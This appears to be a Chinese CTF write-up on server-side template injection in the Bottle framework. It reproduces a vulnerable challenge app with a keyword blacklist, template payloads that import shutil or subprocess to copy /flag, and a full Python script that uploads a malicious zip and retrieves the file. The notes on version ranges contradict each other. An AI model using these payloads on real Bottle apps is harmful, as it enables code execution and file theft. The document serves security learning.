基于Bottle的SSTI注入

秋雨样 · 2025-8-22  · 次阅读


参考:http://156.226.179.166:2222/2025/04/17/Python-%E5%9F%BA%E4%BA%8EBottle%E7%9A%84SSTI%E6%B3%A8%E5%85%A5/

Bottle是一个超轻量级的Python Web框架,具有简洁、高效和零依赖的特性。

static_file函数简化静态资源托管

基于Bottle库的SSTI注入

Bottle内置了一个简单的模板引擎:

  • 使用类似Python语法的模板标记
  • 支持变量替换({{var}}
  • 支持控制结构(%if%for等)
  • 默认不提供严格的沙箱环境

版本区别

bottle<0.12:默认模板引擎几乎没有安全限制

  • 允许访问几乎所有Python对象
  • 没有严格的沙箱环境
  • 可以轻松代码执行
    bottle=0.12-0.13:开始引入基本安全限制

  • 默认禁用部分危险函数,但仍可通过某些方式绕过

  • 基础表达式(如{{7*7}})仍能工作

bottle>0.12:大幅增强模板安全性

  • 强沙箱环境,默认不注入任何危险对象
  • 即使存在SSTI,也很难执行危险操作
  • 需要显式传递对象到模板上下文

漏洞发现

{{ }}是唯一默认语法,但是%可以使用,这主要和bottle.template()有关

例题

ez_bottle

from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time

UPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads')
os.makedirs(UPLOAD_DIR, exist_ok=True)

STATIC_DIR = os.path.join(os.path.dirname(__file__), 'static')
MAX_FILE_SIZE = 1 * 1024 * 1024

BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
              "get", "open"]


def contains_blacklist(content):
    return any(black in content for black in BLACK_DICT)


def is_symlink(zipinfo):
    return (zipinfo.external_attr >> 16) & 0o170000 == 0o120000


def is_safe_path(base_dir, target_path):
    return os.path.realpath(target_path).startswith(os.path.realpath(base_dir))


@route('/')
def index():
    return static_file('index.html', root=STATIC_DIR)


@route('/static/<filename>')
def server_static(filename):
    return static_file(filename, root=STATIC_DIR)


@route('/upload')
def upload_page():
    return static_file('upload.html', root=STATIC_DIR)


@post('/upload')
def upload():
    zip_file = request.files.get('file')
    if not zip_file or not zip_file.filename.endswith('.zip'):
        return 'Invalid file. Please upload a ZIP file.'

    if len(zip_file.file.read()) > MAX_FILE_SIZE:
        return 'File size exceeds 1MB. Please upload a smaller ZIP file.'

    zip_file.file.seek(0)

    current_time = str(time.time())
    unique_string = zip_file.filename + current_time
    md5_hash = hashlib.md5(unique_string.encode()).hexdigest()
    extract_dir = os.path.join(UPLOAD_DIR, md5_hash)
    os.makedirs(extract_dir)

    zip_path = os.path.join(extract_dir, 'upload.zip')
    zip_file.save(zip_path)

    try:
        with zipfile.ZipFile(zip_path, 'r') as z:
            for file_info in z.infolist():
                if is_symlink(file_info):
                    return 'Symbolic links are not allowed.'

                real_dest_path = os.path.realpath(os.path.join(extract_dir, file_info.filename))
                if not is_safe_path(extract_dir, real_dest_path):
                    return 'Path traversal detected.'

            z.extractall(extract_dir)
    except zipfile.BadZipFile:
        return 'Invalid ZIP file.'

    files = os.listdir(extract_dir)
    files.remove('upload.zip')

    return template("文件列表: {{files}}\n访问: /view/{{md5}}/{{first_file}}",
                    files=", ".join(files), md5=md5_hash, first_file=files[0] if files else "nofile")


@route('/view/<md5>/<filename>')
def view_file(md5, filename):
    file_path = os.path.join(UPLOAD_DIR, md5, filename)
    if not os.path.exists(file_path):
        return "File not found."

    with open(file_path, 'r', encoding='utf-8') as f:
        content = f.read()

    if contains_blacklist(content):
        return "you are hacker!!!nonono!!!"

    try:
        return template(content)
    except Exception as e:
        return f"Error rendering template: {str(e)}"


@error(404)
def error404(error):
    return "bbbbbboooottle"


@error(403)
def error403(error):
    return "Forbidden: You don't have permission to access this resource."


if __name__ == '__main__':
    run(host='0.0.0.0', port=5000, debug=False)

黑名单:

BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
              "get", "open"]

这里可以使用import导入库然后获取flag,有以下几种方式
方式1

% import shutil;shutil.copy('/flag', './aaa')

方式2

%import subprocess; subprocess.call(['cp', '/flag', './aaa'])

之后就可以include了

% include("aaa")

payload:

import requests
import re
import zipfile
base = "http://gz.imxbt.cn:20893"
zip_name = "web-ez-bottle.zip"
payload= r"% import shutil;shutil.copy('/flag', './aaa')"
def solve(base, zip_name, payload):
    with open("2.txt","w") as f:
        f.write(payload)

    with zipfile.ZipFile(zip_name,"w") as zf:
        zf.write('2.txt')
    with open(zip_name,"rb") as f:
        data = {"file": (zip_name, f, "application/zip")}
        response = requests.post(url = f"{base}/upload?file={zip_name}",files=data)
        print(response.text)
        url = re.search(r"/view/[a-f0-9]+/2.txt",response.text).group(0)
        viewurl = base+url
        response_re = requests.get(viewurl)
        print(response_re.text)

solve(base, zip_name, payload)
solve(base, zip_name, r"% include('aaa')")

一个好奇的人